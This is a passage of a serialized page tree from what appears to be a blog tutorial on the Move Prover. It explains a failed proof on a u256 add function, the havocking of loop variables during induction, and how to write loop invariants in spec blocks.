"style":4309},[11803],{"type":27,"value":11714},{"type":22,"tag":264,"props":11805,"children":11806},{"style":4401},[11807],{"type":27,"value":11808},"         ensures",{"type":22,"tag":264,"props":11810,"children":11811},{"style":1597},[11812],{"type":27,"value":11002},{"type":22,"tag":264,"props":11814,"children":11815},{"style":1539},[11816],{"type":27,"value":2660},{"type":22,"tag":264,"props":11818,"children":11819},{"style":4401},[11820],{"type":27,"value":10379},{"type":22,"tag":264,"props":11822,"children":11823},{"style":1539},[11824],{"type":27,"value":4390},{"type":22,"tag":264,"props":11826,"children":11827},{"style":1597},[11828],{"type":27,"value":9870},{"type":22,"tag":264,"props":11830,"children":11831},{"style":1597},[11832],{"type":27,"value":11002},{"type":22,"tag":264,"props":11834,"children":11835},{"style":1539},[11836],{"type":27,"value":2660},{"type":22,"tag":264,"props":11838,"children":11839},{"style":4401},[11840],{"type":27,"value":69},{"type":22,"tag":264,"props":11842,"children":11843},{"style":1539},[11844],{"type":27,"value":4390},{"type":22,"tag":264,"props":11846,"children":11847},{"style":1597},[11848],{"type":27,"value":673},{"type":22,"tag":264,"props":11850,"children":11851},{"style":1597},[11852],{"type":27,"value":11002},{"type":22,"tag":264,"props":11854,"children":11855},{"style":1539},[11856],{"type":27,"value":2660},{"type":22,"tag":264,"props":11858,"children":11859},{"style":4401},[11860],{"type":27,"value":2181},{"type":22,"tag":264,"props":11862,"children":11863},{"style":1539},[11864],{"type":27,"value":5142},{"type":22,"tag":264,"props":11866,"children":11867},{"class":1534,"line":1612},[11868,11872],{"type":22,"tag":264,"props":11869,"children":11870},{"style":4309},[11871],{"type":27,"value":11714},{"type":22,"tag":264,"props":11873,"children":11874},{"style":1539},[11875],{"type":27,"value":11876},"     }\n",{"type":22,"tag":264,"props":11878,"children":11879},{"class":1534,"line":1621},[11880],{"type":22,"tag":264,"props":11881,"children":11882},{"style":4401},[11883],{"type":27,"value":11884},"╰─────^\n",{"type":22,"tag":264,"props":11886,"children":11887},{"class":1534,"line":1629},[11888],{"type":22,"tag":264,"props":11889,"children":11890},{"emptyLinePlaceholder":17},[11891],{"type":27,"value":4986},{"type":22,"tag":264,"props":11893,"children":11894},{"class":1534,"line":1642},[11895],{"type":22,"tag":264,"props":11896,"children":11897},{"style":1539},[11898],{"type":27,"value":11616},{"type":22,"tag":264,"props":11900,"children":11901},{"class":1534,"line":1660},[11902],{"type":22,"tag":264,"props":11903,"children":11904},{"emptyLinePlaceholder":17},[11905],{"type":27,"value":4986},{"type":22,"tag":264,"props":11907,"children":11908},{"class":1534,"line":1668},[11909,11914,11919],{"type":22,"tag":264,"props":11910,"children":11911},{"style":4401},[11912],{"type":27,"value":11913}," at",{"type":22,"tag":264,"props":11915,"children":11916},{"style":1597},[11917],{"type":27,"value":11918}," ./sources/u256.move:316:",{"type":22,"tag":264,"props":11920,"children":11921},{"style":1597},[11922],{"type":27,"value":11923}," add\n",{"type":22,"tag":264,"props":11925,"children":11926},{"class":1534,"line":1677},[11927,11932,11937,11942,11946,11951,11955,11960,11965,11970,11975,11980],{"type":22,"tag":264,"props":11928,"children":11929},{"style":4401},[11930],{"type":27,"value":11931}," enter",{"type":22,"tag":264,"props":11933,"children":11934},{"style":1597},[11935],{"type":27,"value":11936}," loop,",{"type":22,"tag":264,"props":11938,"children":11939},{"style":1597},[11940],{"type":27,"value":11941}," variable",{"type":22,"tag":264,"props":11943,"children":11944},{"style":1539},[11945],{"type":27,"value":2660},{"type":22,"tag":264,"props":11947,"children":11948},{"style":4401},[11949],{"type":27,"value":11950},"s",{"type":22,"tag":264,"props":11952,"children":11953},{"style":1539},[11954],{"type":27,"value":4390},{"type":22,"tag":264,"props":11956,"children":11957},{"style":1597},[11958],{"type":27,"value":11959},"carry,",{"type":22,"tag":264,"props":11961,"children":11962},{"style":1597},[11963],{"type":27,"value":11964}," i,",{"type":22,"tag":264,"props":11966,"children":11967},{"style":1597},[11968],{"type":27,"value":11969}," ret",{"type":22,"tag":264,"props":11971,"children":11972},{"style":1597},[11973],{"type":27,"value":11974}," havocked",{"type":22,"tag":264,"props":11976,"children":11977},{"style":1597},[11978],{"type":27,"value":11979}," and",{"type":22,"tag":264,"props":11981,"children":11982},{"style":1597},[11983],{"type":27,"value":11984}," reassigned\n",{"type":22,"tag":264,"props":11986,"children":11987},{"class":1534,"line":1686},[11988,11993,11997],{"type":22,"tag":264,"props":11989,"children":11990},{"style":4401},[11991],{"type":27,"value":11992},"     carry",{"type":22,"tag":264,"props":11994,"children":11995},{"style":1597},[11996],{"type":27,"value":4312},{"type":22,"tag":264,"props":11998,"children":11999},{"style":4344},[12000],{"type":27,"value":12001}," 54\n",{"type":22,"tag":264,"props":12003,"children":12004},{"class":1534,"line":4948},[12005,12010,12014],{"type":22,"tag":264,"props":12006,"children":12007},{"style":4401},[12008],{"type":27,"value":12009},"     i",{"type":22,"tag":264,"props":12011,"children":12012},{"style":1597},[12013],{"type":27,"value":4312},{"type":22,"tag":264,"props":12015,"children":12016},{"style":4344},[12017],{"type":27,"value":12018}," 3792\n",{"type":22,"tag":264,"props":12020,"children":12021},{"class":1534,"line":4957},[12022,12027,12031,12036,12040,12045,12050,12054,12059,12064,12068,12073,12078,12082,12087],{"type":22,"tag":264,"props":12023,"children":12024},{"style":4401},[12025],{"type":27,"value":12026},"     ret",{"type":22,"tag":264,"props":12028,"children":12029},{"style":1597},[12030],{"type":27,"value":4312},{"type":22,"tag":264,"props":12032,"children":12033},{"style":1597},[12034],{"type":27,"value":12035}," u256.U256{v0",{"type":22,"tag":264,"props":12037,"children":12038},{"style":1597},[12039],{"type":27,"value":4312},{"type":22,"tag":264,"props":12041,"children":12042},{"style":1597},[12043],{"type":27,"value":12044}," 26418,",{"type":22,"tag":264,"props":12046,"children":12047},{"style":1597},[12048],{"type":27,"value":12049}," v1",{"type":22,"tag":264,"props":12051,"children":12052},{"style":1597},[12053],{"type":27,"value":4312},{"type":22,"tag":264,"props":12055,"children":12056},{"style":1597},[12057],{"type":27,"value":12058}," 27938,",{"type":22,"tag":264,"props":12060,"children":12061},{"style":1597},[12062],{"type":27,"value":12063}," v2",{"type":22,"tag":264,"props":12065,"children":12066},{"style":1597},[12067],{"type":27,"value":4312},{"type":22,"tag":264,"props":12069,"children":12070},{"style":1597},[12071],{"type":27,"value":12072}," 6900,",{"type":22,"tag":264,"props":12074,"children":12075},{"style":1597},[12076],{"type":27,"value":12077}," v3",{"type":22,"tag":264,"props":12079,"children":12080},{"style":1597},[12081],{"type":27,"value":4312},{"type":22,"tag":264,"props":12083,"children":12084},{"style":4344},[12085],{"type":27,"value":12086}," 1999",{"type":22,"tag":264,"props":12088,"children":12089},{"style":1597},[12090],{"type":27,"value":1692},{"type":22,"tag":264,"props":12092,"children":12093},{"class":1534,"line":4980},[12094,12098,12103],{"type":22,"tag":264,"props":12095,"children":12096},{"style":4401},[12097],{"type":27,"value":11913},{"type":22,"tag":264,"props":12099,"children":12100},{"style":1597},[12101],{"type":27,"value":12102}," ./sources/u256.move:346:",{"type":22,"tag":264,"props":12104,"children":12105},{"style":1597},[12106],{"type":27,"value":11923},{"type":22,"tag":264,"props":12108,"children":12109},{"class":1534,"line":4989},[12110],{"type":22,"tag":264,"props":12111,"children":12112},{"style":4401},[12113],{"type":27,"value":12114},"     ABORTED\n",{"type":22,"tag":264,"props":12116,"children":12117},{"class":1534,"line":4998},[12118],{"type":22,"tag":264,"props":12119,"children":12120},{"emptyLinePlaceholder":17},[12121],{"type":27,"value":4986},{"type":22,"tag":264,"props":12123,"children":12124},{"class":1534,"line":5067},[12125,12130,12135,12139,12144,12149,12154,12158,12163,12167],{"type":22,"tag":264,"props":12126,"children":12127},{"style":4401},[12128],{"type":27,"value":12129},"FAILURE",{"type":22,"tag":264,"props":12131,"children":12132},{"style":1597},[12133],{"type":27,"value":12134}," proving",{"type":22,"tag":264,"props":12136,"children":12137},{"style":4344},[12138],{"type":27,"value":5817},{"type":22,"tag":264,"props":12140,"children":12141},{"style":1597},[12142],{"type":27,"value":12143}," modules",{"type":22,"tag":264,"props":12145,"children":12146},{"style":1597},[12147],{"type":27,"value":12148}," from",{"type":22,"tag":264,"props":12150,"children":12151},{"style":1597},[12152],{"type":27,"value":12153}," package",{"type":22,"tag":264,"props":12155,"children":12156},{"style":1597},[12157],{"type":27,"value":11671},{"type":22,"tag":264,"props":12159,"children":12160},{"style":4401},[12161],{"type":27,"value":12162},"u256",{"type":22,"tag":264,"props":12164,"children":12165},{"style":1597},[12166],{"type":27,"value":11680},{"type":22,"tag":264,"props":12168,"children":12169},{"style":1539},[12170],{"type":27,"value":12171}," in 9.143s\n",{"type":22,"tag":264,"props":12173,"children":12174},{"class":1534,"line":5075},[12175],{"type":22,"tag":264,"props":12176,"children":12177},{"style":1539},[12178],{"type":27,"value":1542},{"type":22,"tag":264,"props":12180,"children":12181},{"class":1534,"line":5105},[12182,12187,12191],{"type":22,"tag":264,"props":12183,"children":12184},{"style":4401},[12185],{"type":27,"value":12186},"    \"Error\"",{"type":22,"tag":264,"props":12188,"children":12189},{"style":4401},[12190],{"type":27,"value":5785},{"type":22,"tag":264,"props":12192,"children":12193},{"style":1597},[12194],{"type":27,"value":12195}," \"Move Prover failed: exiting with verification errors\"\n",{"type":22,"tag":264,"props":12197,"children":12198},{"class":1534,"line":5113},[12199],{"type":22,"tag":264,"props":12200,"children":12201},{"style":1539},[12202],{"type":27,"value":1692},{"type":22,"tag":23,"props":12204,"children":12205},{},[12206,12208,12213],{"type":27,"value":12207},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":22,"tag":257,"props":12209,"children":12211},{"className":12210},[],[12212],{"type":27,"value":9619},{"type":27,"value":12214}," clauses. But there is no other abort situation that we have to cover, right?",{"type":22,"tag":23,"props":12216,"children":12217},{},[12218,12220,12226],{"type":27,"value":12219},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":22,"tag":257,"props":12221,"children":12223},{"className":12222},[],[12224],{"type":27,"value":12225},"ret havocked and reassigned",{"type":27,"value":210},{"type":22,"tag":23,"props":12228,"children":12229},{},[12230],{"type":27,"value":12231},"What does this mean?",{"type":22,"tag":23,"props":12233,"children":12234},{},[12235,12237,12244],{"type":27,"value":12236},"By diving into the Move Prover source, we find a ",{"type":22,"tag":69,"props":12238,"children":12241},{"href":12239,"rel":12240},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[73],[12242],{"type":27,"value":12243},"likely suspect",{"type":27,"value":12245},". The prover attempts to prove all loops with induction!",{"type":22,"tag":23,"props":12247,"children":12248},{},[12249],{"type":27,"value":12250},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":22,"tag":1867,"props":12252,"children":12253},{},[12254,12259],{"type":22,"tag":1871,"props":12255,"children":12256},{},[12257],{"type":27,"value":12258},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":22,"tag":1871,"props":12260,"children":12261},{},[12262],{"type":27,"value":12263},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":22,"tag":23,"props":12265,"children":12266},{},[12267,12269,12274,12276,12282,12283,12289,12291,12296,12298,12303],{"type":27,"value":12268},"The loop prover will also ",{"type":22,"tag":242,"props":12270,"children":12271},{},[12272],{"type":27,"value":12273},"havoc, or assign random values to, all variables written to inside the loop",{"type":27,"value":12275},". Going back to the log message, this implies that the variables ",{"type":22,"tag":257,"props":12277,"children":12279},{"className":12278},[],[12280],{"type":27,"value":12281},"carry",{"type":27,"value":4380},{"type":22,"tag":257,"props":12284,"children":12286},{"className":12285},[],[12287],{"type":27,"value":12288},"ret",{"type":27,"value":12290}," and ",{"type":22,"tag":257,"props":12292,"children":12294},{"className":12293},[],[12295],{"type":27,"value":5050},{"type":27,"value":12297}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":22,"tag":257,"props":12299,"children":12301},{"className":12300},[],[12302],{"type":27,"value":10936},{"type":27,"value":12304}," makes no sense.",{"type":22,"tag":23,"props":12306,"children":12307},{},[12308],{"type":27,"value":12309},"More concretely, the loop analysis translates into the following steps.",{"type":22,"tag":1867,"props":12311,"children":12312},{},[12313,12318,12323,12328,12333,12338],{"type":22,"tag":1871,"props":12314,"children":12315},{},[12316],{"type":27,"value":12317},"Assert the loop invariant",{"type":22,"tag":1871,"props":12319,"children":12320},{},[12321],{"type":27,"value":12322},"Havoc all modified variables",{"type":22,"tag":1871,"props":12324,"children":12325},{},[12326],{"type":27,"value":12327},"Assume the loop invariant",{"type":22,"tag":1871,"props":12329,"children":12330},{},[12331],{"type":27,"value":12332},"Assume the loop guard (the code inside the while condition)",{"type":22,"tag":1871,"props":12334,"children":12335},{},[12336],{"type":27,"value":12337},"Run the loop body",{"type":22,"tag":1871,"props":12339,"children":12340},{},[12341],{"type":27,"value":12317},{"type":22,"tag":23,"props":12343,"children":12344},{},[12345],{"type":27,"value":12346},"There are two approaches to dealing with loops.",{"type":22,"tag":23,"props":12348,"children":12349},{},[12350],{"type":27,"value":12351},"The first would be to specify a loop invariant.",{"type":22,"tag":23,"props":12353,"children":12354},{},[12355,12357,12364],{"type":27,"value":12356},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":22,"tag":69,"props":12358,"children":12361},{"href":12359,"rel":12360},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[73],[12362],{"type":27,"value":12363},"previous post",{"type":27,"value":210},{"type":22,"tag":618,"props":12366,"children":12368},{"code":12367,"language":4273,"meta":7,"className":4274,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[12369],{"type":22,"tag":257,"props":12370,"children":12371},{"__ignoreMap":7},[12372,12384,12395,12431,12454,12537,12544,12568,12576,12596,12616,12707,12714,12742],{"type":22,"tag":264,"props":12373,"children":12374},{"class":1534,"line":1535},[12375,12380],{"type":22,"tag":264,"props":12376,"children":12377},{"style":4328},[12378],{"type":27,"value":12379},"  while",{"type":22,"tag":264,"props":12381,"children":12382},{"style":1539},[12383],{"type":27,"value":9827},{"type":22,"tag":264,"props":12385,"children":12386},{"class":1534,"line":1545},[12387,12391],{"type":22,"tag":264,"props":12388,"children":12389},{"style":1549},[12390],{"type":27,"value":10224},{"type":22,"tag":264,"props":12392,"children":12393},{"style":1539},[12394],{"type":27,"value":4594},{"type":22,"tag":264,"props":12396,"children":12397},{"class":1534,"line":1560},[12398,12403,12407,12411,12415,12419,12423,12427],{"type":22,"tag":264,"props":12399,"children":12400},{"style":1549},[12401],{"type":27,"value":12402},"          invariant",{"type":22,"tag":264,"props":12404,"children":12405},{"style":4401},[12406],{"type":27,"value":9852},{"type":22,"tag":264,"props":12408,"children":12409},{"style":1539},[12410],{"type":27,"value":2660},{"type":22,"tag":264,"props":12412,"children":12413},{"style":1549},[12414],{"type":27,"value":9861},{"type":22,"tag":264,"props":12416,"children":12417},{"style":1539},[12418],{"type":27,"value":4390},{"type":22,"tag":264,"props":12420,"children":12421},{"style":4309},[12422],{"type":27,"value":9870},{"type":22,"tag":264,"props":12424,"children":12425},{"style":1549},[12426],{"type":27,"value":4701},{"type":22,"tag":264,"props":12428,"children":12429},{"style":1539},[12430],{"type":27,"value":4322},{"type":22,"tag":264,"props":12432,"children":12433},{"class":1534,"line":1569},[12434,12438,12442,12446,12450],{"type":22,"tag":264,"props":12435,"children":12436},{"style":1549},[12437],{"type":27,"value":12402},{"type":22,"tag":264,"props":12439,"children":12440},{"style":1549},[12441],{"type":27,"value":4701},{"type":22,"tag":264,"props":12443,"children":12444},{"style":4309},[12445],{"type":27,"value":9491},{"type":22,"tag":264,"props":12447,"children":12448},{"style":1549},[12449],{"type":27,"value":9781},{"type":22,"tag":264,"props":12451,"children":12452},{"style":1539},[12453],{"type":27,"value":4322},{"type":22,"tag":264,"props":12455,"children":12456},{"class":1534,"line":1583},[12457,12461,12465,12469,12473,12477,12481,12485,12489,12493,12497,12501,12505,12509,12513,12517,12521,12525,12529,12533],{"type":22,"tag":264,"props":12458,"children":12459},{"style":1549},[12460],{"type":27,"value":12402},{"type":22,"tag":264,"props":12462,"children":12463},{"style":1549},[12464],{"type":27,"value":9913},{"type":22,"tag":264,"props":12466,"children":12467},{"style":1549},[12468],{"type":27,"value":9918},{"type":22,"tag":264,"props":12470,"children":12471},{"style":4293},[12472],{"type":27,"value":4341},{"type":22,"tag":264,"props":12474,"children":12475},{"style":4344},[12476],{"type":27,"value":4347},{"type":22,"tag":264,"props":12478,"children":12479},{"style":4309},[12480],{"type":27,"value":4352},{"type":22,"tag":264,"props":12482,"children":12483},{"style":1549},[12484],{"type":27,"value":5050},{"type":22,"tag":264,"props":12486,"children":12487},{"style":4309},[12488],{"type":27,"value":5785},{"type":22,"tag":264,"props":12490,"children":12491},{"style":1549},[12492],{"type":27,"value":9716},{"type":22,"tag":264,"props":12494,"children":12495},{"style":1539},[12496],{"type":27,"value":5045},{"type":22,"tag":264,"props":12498,"children":12499},{"style":1549},[12500],{"type":27,"value":9951},{"type":22,"tag":264,"props":12502,"children":12503},{"style":1539},[12504],{"type":27,"value":9956},{"type":22,"tag":264,"props":12506,"children":12507},{"style":4309},[12508],{"type":27,"value":9870},{"type":22,"tag":264,"props":12510,"children":12511},{"style":1549},[12512],{"type":27,"value":9965},{"type":22,"tag":264,"props":12514,"children":12515},{"style":1539},[12516],{"type":27,"value":5045},{"type":22,"tag":264,"props":12518,"children":12519},{"style":1549},[12520],{"type":27,"value":9951},{"type":22,"tag":264,"props":12522,"children":12523},{"style":1539},[12524],{"type":27,"value":9956},{"type":22,"tag":264,"props":12526,"children":12527},{"style":4309},[12528],{"type":27,"value":5865},{"type":22,"tag":264,"props":12530,"children":12531},{"style":1549},[12532],{"type":27,"value":9781},{"type":22,"tag":264,"props":12534,"children":12535},{"style":1539},[12536],{"type":27,"value":4322},{"type":22,"tag":264,"props":12538,"children":12539},{"class":1534,"line":1603},[12540],{"type":22,"tag":264,"props":12541,"children":12542},{"style":1539},[12543],{"type":27,"value":10216},{"type":22,"tag":264,"props":12545,"children":12546},{"class":1534,"line":1612},[12547,12552,12556,12560,12564],{"type":22,"tag":264,"props":12548,"children":12549},{"style":1539},[12550],{"type":27,"value":12551},"      (",{"type":22,"tag":264,"props":12553,"children":12554},{"style":1549},[12555],{"type":27,"value":5050},{"type":22,"tag":264,"props":12557,"children":12558},{"style":4309},[12559],{"type":27,"value":10014},{"type":22,"tag":264,"props":12561,"children":12562},{"style":1549},[12563],{"type":27,"value":9781},{"type":22,"tag":264,"props":12565,"children":12566},{"style":1539},[12567],{"type":27,"value":4463},{"type":22,"tag":264,"props":12569,"children":12570},{"class":1534,"line":1621},[12571],{"type":22,"tag":264,"props":12572,"children":12573},{"style":1539},[12574],{"type":27,"value":12575},"  }) {\n",{"type":22,"tag":264,"props":12577,"children":12578},{"class":1534,"line":1629},[12579,12584,12588,12592],{"type":22,"tag":264,"props":12580,"children":12581},{"style":1539},[12582],{"type":27,"value":12583},"      vector",{"type":22,"tag":264,"props":12585,"children":12586},{"style":4309},[12587],{"type":27,"value":4785},{"type":22,"tag":264,"props":12589,"children":12590},{"style":4401},[12591],{"type":27,"value":10047},{"type":22,"tag":264,"props":12593,"children":12594},{"style":1539},[12595],{"type":27,"value":4767},{"type":22,"tag":264,"props":12597,"children":12598},{"class":1534,"line":1642},[12599,12604,12608,12612],{"type":22,"tag":264,"props":12600,"children":12601},{"style":4309},[12602],{"type":27,"value":12603},"          &",{"type":22,"tag":264,"props":12605,"children":12606},{"style":4293},[12607],{"type":27,"value":5035},{"type":22,"tag":264,"props":12609,"children":12610},{"style":1549},[12611],{"type":27,"value":9716},{"type":22,"tag":264,"props":12613,"children":12614},{"style":1539},[12615],{"type":27,"value":4812},{"type":22,"tag":264,"props":12617,"children":12618},{"class":1534,"line":1660},[12619,12623,12627,12631,12635,12639,12643,12647,12651,12655,12659,12663,12667,12671,12675,12679,12683,12687,12691,12695,12699,12703],{"type":22,"tag":264,"props":12620,"children":12621},{"style":1539},[12622],{"type":27,"value":10005},{"type":22,"tag":264,"props":12624,"children":12625},{"style":4309},[12626],{"type":27,"value":5865},{"type":22,"tag":264,"props":12628,"children":12629},{"style":1539},[12630],{"type":27,"value":10088},{"type":22,"tag":264,"props":12632,"children":12633},{"style":4309},[12634],{"type":27,"value":4785},{"type":22,"tag":264,"props":12636,"children":12637},{"style":4401},[12638],{"type":27,"value":10097},{"type":22,"tag":264,"props":12640,"children":12641},{"style":1539},[12642],{"type":27,"value":2660},{"type":22,"tag":264,"props":12644,"children":12645},{"style":4309},[12646],{"type":27,"value":4413},{"type":22,"tag":264,"props":12648,"children":12649},{"style":1549},[12650],{"type":27,"value":9661},{"type":22,"tag":264,"props":12652,"children":12653},{"style":1539},[12654],{"type":27,"value":10114},{"type":22,"tag":264,"props":12656,"children":12657},{"style":1549},[12658],{"type":27,"value":5050},{"type":22,"tag":264,"props":12660,"children":12661},{"style":4293},[12662],{"type":27,"value":10123},{"type":22,"tag":264,"props":12664,"children":12665},{"style":4722},[12666],{"type":27,"value":7151},{"type":22,"tag":264,"props":12668,"children":12669},{"style":1539},[12670],{"type":27,"value":10132},{"type":22,"tag":264,"props":12672,"children":12673},{"style":4293},[12674],{"type":27,"value":10137},{"type":22,"tag":264,"props":12676,"children":12677},{"style":4722},[12678],{"type":27,"value":10142},{"type":22,"tag":264,"props":12680,"children":12681},{"style":1539},[12682],{"type":27,"value":4390},{"type":22,"tag":264,"props":12684,"children":12685},{"style":4309},[12686],{"type":27,"value":5865},{"type":22,"tag":264,"props":12688,"children":12689},{"style":1539},[12690],{"type":27,"value":4370},{"type":22,"tag":264,"props":12692,"children":12693},{"style":1549},[12694],{"type":27,"value":10159},{"type":22,"tag":264,"props":12696,"children":12697},{"style":4293},[12698],{"type":27,"value":10123},{"type":22,"tag":264,"props":12700,"children":12701},{"style":4722},[12702],{"type":27,"value":10142},{"type":22,"tag":264,"props":12704,"children":12705},{"style":1539},[12706],{"type":27,"value":4463},{"type":22,"tag":264,"props":12708,"children":12709},{"class":1534,"line":1668},[12710],{"type":22,"tag":264,"props":12711,"children":12712},{"style":1539},[12713],{"type":27,"value":8059},{"type":22,"tag":264,"props":12715,"children":12716},{"class":1534,"line":1677},[12717,12722,12726,12730,12734,12738],{"type":22,"tag":264,"props":12718,"children":12719},{"style":1549},[12720],{"type":27,"value":12721},"      i",{"type":22,"tag":264,"props":12723,"children":12724},{"style":4309},[12725],{"type":27,"value":4312},{"type":22,"tag":264,"props":12727,"children":12728},{"style":1549},[12729],{"type":27,"value":4701},{"type":22,"tag":264,"props":12731,"children":12732},{"style":4309},[12733],{"type":27,"value":10200},{"type":22,"tag":264,"props":12735,"children":12736},{"style":4344},[12737],{"type":27,"value":5817},{"type":22,"tag":264,"props":12739,"children":12740},{"style":1539},[12741],{"type":27,"value":4322},{"type":22,"tag":264,"props":12743,"children":12744},{"class":1534,"line":1686},[12745],{"type":22,"tag":264,"props":12746,"children":12747},{"style":1539},[12748],{"type":27,"value":12749},"  };\n",{"type":22,"tag":23,"props":12751,"children":12752},{},[12753,12755,12761,12763,12768,12770,12776],{"type":27,"value":12754},"In this case, the brackets specify the loop invariant for the ",{"type":22,"tag":257,"props":12756,"children":12758},{"className":12757},[],[12759],{"type":27,"value":12760},"while",{"type":27,"value":12762}," loop. Note that because the loop invariant executes ",{"type":22,"tag":1699,"props":12764,"children":12765},{},[12766],{"type":27,"value":12767},"after",{"type":27,"value":12769}," the loop guard, so we need to account for an extra step with ",{"type":22,"tag":257,"props":12771,"children":12773},{"className":12772},[],[12774],{"type":27,"value":12775},"i \u003C= n_coins",{"type":27,"value":210},{"type":22,"tag":618,"props":12778,"children":12780},{"code":12779,"language":4273,"meta":7,"className":4274,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[12781],{"type":22,"tag":257,"props":12782,"children":12783},{"__ignoreMap":7},[12784,12795,12806,12841,12864,12947,12954,12977],{"type":22,"tag":264,"props":12785,"children":12786},{"class":1534,"line":1535},[12787,12791],{"type":22,"tag":264,"props":12788,"children":12789},{"style":4328},[12790],{"type":27,"value":12379},{"type":22,"tag":264,"props":12792,"children":12793},{"style":1539},[12794],{"type":27,"value":9827},{"type":22,"tag":264,"props":12796,"children":12797},{"class":1534,"line":1545},[12798,12802],{"type":22,"tag":264,"props":12799,"children":12800},{"style":1549},[12801],{"type":27,"value":10224},{"type":22,"tag":264,"props":12803,"children":12804},{"style":1539},[12805],{"type":27,"value":4594},{"type":22,"tag":264,"props":12807,"children":12808},{"class":1534,"line":1560},[12809,12813,12817,12821,12825,12829,12833,12837],{"type":22,"tag":264,"props":12810,"children":12811},{"style":1549},[12812],{"type":27,"value":12402},{"type":22,"tag":264,"props":12814,"children":12815},{"style":4401},[12816],{"type":27,"value":9852},{"type":22,"tag":264,"props":12818,"children":12819},{"style":1539},[12820],{"type":27,"value":2660},{"type":22,"tag":264,"props":12822,"children":12823},{"style":1549},[12824],{"type":27,"value":9861},{"type":22,"tag":264,"props":12826,"children":12827},{"style":1539},[12828],{"type":27,"value":4390},{"type":22,"tag":264,"props":12830,"children":12831},{"style":4309},[12832],{"type":27,"value":9870},{"type":22,"tag":264,"props":12834,"children":12835},{"style":1549},[12836],{"type":27,"value":4701},{"type":22,"tag":264,"props":12838,"children":12839},{"style":1539},[12840],{"type":27,"value":4322},{"type":22,"tag":264,"props":12842,"children":12843},{"class":1534,"line":1569},[12844,12848,12852,12856,12860],{"type":22,"tag":264,"props":12845,"children":12846},{"style":1549},[12847],{"type":27,"value":12402},{"type":22,"tag":264,"props":12849,"children":12850},{"style":1549},[12851],{"type":27,"value":4701},{"type":22,"tag":264,"props":12853,"children":12854},{"style":4309},[12855],{"type":27,"value":9491},{"type":22,"tag":264,"props":12857,"children":12858},{"style":1549},[12859],{"type":27,"value":9781},{"type":22,"tag":264,"props":12861,"children":12862},{"style":1539},[12863],{"type":27,"value":4322},{"type":22,"tag":264,"props":12865,"children":12866},{"class":1534,"line":1583},[12867,12871,12875,12879,12883,12887,12891,12895,12899,12903,12907,12911,12915,12919,12923,12927,12931,12935,12939,12943],{"type":22,"tag":264,"props":12868,"children":12869},{"style":1549},[12870],{"type":27,"value":12402},{"type":22,"tag":264,"props":12872,"children":12873},{"style":1549},[12874],{"type":27,"value":9913},{"type":22,"tag":264,"props":12876,"children":12877},{"style":1549},[12878],{"type":27,"value":9918},{"type":22,"tag":264,"props":12880,"children":12881},{"style":4293},[12882],{"type":27,"value":4341},{"type":22,"tag":264,"props":12884,"children":12885},{"style":4344},[12886],{"type":27,"value":4347},{"type":22,"tag":264,"props":12888,"children":12889},{"style":4309},[12890],{"type":27,"value":4352},{"type":22,"tag":264,"props":12892,"children":12893},{"style":1549},[12894],{"type":27,"value":5050},{"type":22,"tag":264,"props":12896,"children":12897},{"style":4309},[12898],{"type":27,"value":5785},{"type":22,"tag":264,"props":12900,"children":12901},{"style":1549},[12902],{"type":27,"value":9716},{"type":22,"tag":264,"props":12904,"children":12905},{"style":1539},[12906],{"type":27,"value":5045},{"type":22,"tag":264,"props":12908,"children":12909},{"style":1549},[12910],{"type":27,"value":9951},{"type":22,"tag":264,"props":12912,"children":12913},{"style":1539},[12914],{"type":27,"value":9956},{"type":22,"tag":264,"props":12916,"children":12917},{"style":4309},[12918],{"type":27,"value":9870},{"type":22,"tag":264,"props":12920,"children":12921},{"style":1549},[12922],{"type":27,"value":9965},{"type":22,"tag":264,"props":12924,"children":12925},{"style":1539},[12926],{"type":27,"value":5045},{"type":22,"tag":264,"props":12928,"children":12929},{"style":1549},[12930],{"type":27,"value":9951},{"type":22,"tag":264,"props":12932,"children":12933},{"style":1539},[12934],{"type":27,"value":9956},{"type":22,"tag":264,"props":12936,"children":12937},{"style":4309},[12938],{"type":27,"value":5865},{"type":22,"tag":264,"props":12940,"children":12941},{"style":1549},[12942],{"type":27,"value":9781},{"type":22,"tag":264,"props":12944,"children":12945},{"style":1539},[12946],{"type":27,"value":4322},{"type":22,"tag":264,"props":12948,"children":12949},{"class":1534,"line":1603},[12950],{"type":22,"tag":264,"props":12951,"children":12952},{"style":1539},[12953],{"type":27,"value":10216},{"type":22,"tag":264,"props":12955,"children":12956},{"class":1534,"line":1612},[12957,12961,12965,12969,12973],{"type":22,"tag":264,"props":12958,"children":12959},{"style":1539},[12960],{"type":27,"value":12551},{"type":22,"tag":264,"props":12962,"children":12963},{"style":1549},[12964],{"type":27,"value":5050},{"type":22,"tag":264,"props":12966,"children":12967},{"style":4309},[12968],{"type":27,"value":10014},{"type":22,"tag":264,"props":12970,"children":12971},{"style":1549},[12972],{"type":27,"value":9781},{"type":22,"tag":264,"props":12974,"children":12975},{"style":1539},[12976],{"type":27,"value":4463},{"type":22,"tag":264,"props":12978,"children":12979},{"class":1534,"line":1621},[12980],{"type":22,"tag":264,"props":12981,"children":12982},{"style":1539},[12983],{"type":27,"value":12575},{"type":22,"tag":23,"props":12985,"children":12986},{},[12987],{"type":27,"value":12988},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":22,"tag":23,"props":12990,"children":12991},{},[12992,12994,12999],{"type":27,"value":12993},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can 